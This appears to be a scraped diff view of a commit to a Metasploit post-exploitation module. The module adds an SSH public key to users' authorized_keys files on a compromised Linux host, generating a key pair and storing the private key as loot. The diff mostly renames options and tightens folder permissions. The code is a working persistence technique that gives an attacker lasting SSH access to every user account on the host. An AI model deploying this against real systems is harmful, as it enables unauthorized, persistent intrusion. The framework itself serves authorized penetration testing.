3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
6
- require 'msf/core'
7
- require 'msf/core/post/file'
6
+ # require 'msf/core'
7
+ # require 'msf/core/post/file'
8
8
require 'sshkey'
9
9
10
10
class MetasploitModule < Msf ::Post
@@ -34,16 +34,15 @@ def initialize(info = {})
34
34
[ 'Automatic' , { } ]
35
35
] ,
36
36
'DefaultTarget' => 0
37
- # 'DisclosureDate' => "Jul 1 2015",
38
37
)
39
38
)
40
39
41
40
register_options (
42
41
[
43
- OptString . new ( 'username ' , [ false , 'User to add SSH key to (Default: all users on box)' ] ) ,
44
- OptPath . new ( 'PubKey ' , [ false , 'Public Key File to use. (Default: Create a new one)' ] ) ,
45
- OptString . new ( 'sshd_config ' , [ true , 'sshd_config file' , '/etc/ssh/sshd_config' ] ) ,
46
- OptBool . new ( 'CreateSSHFolder ' , [ true , 'If no .ssh folder is found, create it for a user' , false ] )
42
+ OptString . new ( 'USERNAME ' , [ false , 'User to add SSH key to (Default: all users on box)' ] ) ,
43
+ OptPath . new ( 'PUBKEY ' , [ false , 'Public Key File to use. (Default: Create a new one)' ] ) ,
44
+ OptString . new ( 'SSHD_CONFIG ' , [ true , 'sshd_config file' , '/etc/ssh/sshd_config' ] ) ,
45
+ OptBool . new ( 'CREATESSHFOLDER ' , [ true , 'If no .ssh folder is found, create it for a user' , false ] )
47
46
] , self . class
48
47
)
49
48
end
@@ -56,7 +55,7 @@ def run
56
55
sep = "/"
57
56
end
58
57
print_status ( 'Checking SSH Permissions' )
59
- sshd_config = read_file ( datastore [ 'sshd_config ' ] )
58
+ sshd_config = read_file ( datastore [ 'SSHD_CONFIG ' ] )
60
59
/^PubkeyAuthentication[\s ]+(?<pub_key>yes|no)/ =~ sshd_config
61
60
if pub_key && pub_key == 'no'
62
61
print_error ( 'Pubkey Authentication disabled' )
@@ -77,24 +76,24 @@ def run
77
76
78
77
auth_key_folder = auth_key_file . split ( '/' ) [ 0 ...-1 ] . join ( '/' )
79
78
auth_key_file = auth_key_file . split ( '/' ) [ -1 ]
80
- if datastore [ 'username ' ] . nil?
79
+ if datastore [ 'USERNAME ' ] . nil?
81
80
print_status ( "Finding #{ auth_key_folder } directories" )
82
81
paths = enum_user_directories . map { |d | d + "/#{ auth_key_folder } " }
83
82
else
84
- if datastore [ 'username ' ] == 'root'
85
- paths = [ "/#{ datastore [ 'username ' ] } /#{ auth_key_folder } " ]
83
+ if datastore [ 'USERNAME ' ] == 'root'
84
+ paths = [ "/#{ datastore [ 'USERNAME ' ] } /#{ auth_key_folder } " ]
86
85
else
87
- paths = [ "/home/#{ datastore [ 'username ' ] } /#{ auth_key_folder } " ]
86
+ paths = [ "/home/#{ datastore [ 'USERNAME ' ] } /#{ auth_key_folder } " ]
88
87
end
89
88
vprint_status ( "Added User SSH Path: #{ paths . first } " )
90
89
end
91
90
92
- if datastore [ 'CreateSSHFolder ' ] == true
91
+ if datastore [ 'CREATESSHFOLDER ' ] == true
93
92
vprint_status ( "Attempting to create ssh folders that don't exist" )
94
93
paths . each do |p |
95
94
unless directory? ( p )
96
- cmd_exec ( "mkdir -p #{ p } " )
97
95
print_status ( "Creating #{ p } folder" )
96
+ cmd_exec ( "mkdir -m 700 -p #{ p } " )
98
97
end
99
98
end
100
99
end
@@ -108,21 +107,21 @@ def run
108
107
end
109
108
110
109
def write_key ( paths , auth_key_file , sep )
111
- if datastore [ 'PubKey ' ] . nil?
110
+ if datastore [ 'PUBKEY ' ] . nil?
112
111
key = SSHKey . generate
113
112
our_pub_key = key . ssh_public_key
114
113
loot_path = store_loot ( "id_rsa" , "text/plain" , session , key . private_key , "ssh_id_rsa" , "OpenSSH Private Key File" )
115
114
print_good ( "Storing new private key as #{ loot_path } " )
116
115
else
117
- our_pub_key = ::File . read ( datastore [ 'PubKey ' ] )
116
+ our_pub_key = ::File . read ( datastore [ 'PUBKEY ' ] )
118
117
end
119
118
paths . each do |path |
120
119
path . chomp!
121
120
authorized_keys = "#{ path } /#{ auth_key_file } "
122
121
print_status ( "Adding key to #{ authorized_keys } " )
123
122
append_file ( authorized_keys , "\n #{ our_pub_key } " )
124
123
print_good ( "Key Added" )
125
- if datastore [ 'PubKey ' ] . nil?
124
+ if datastore [ 'PUBKEY ' ] . nil?
126
125
path_array = path . split ( sep )
127
126
path_array . pop
128
127
user = path_array . pop
0 commit comments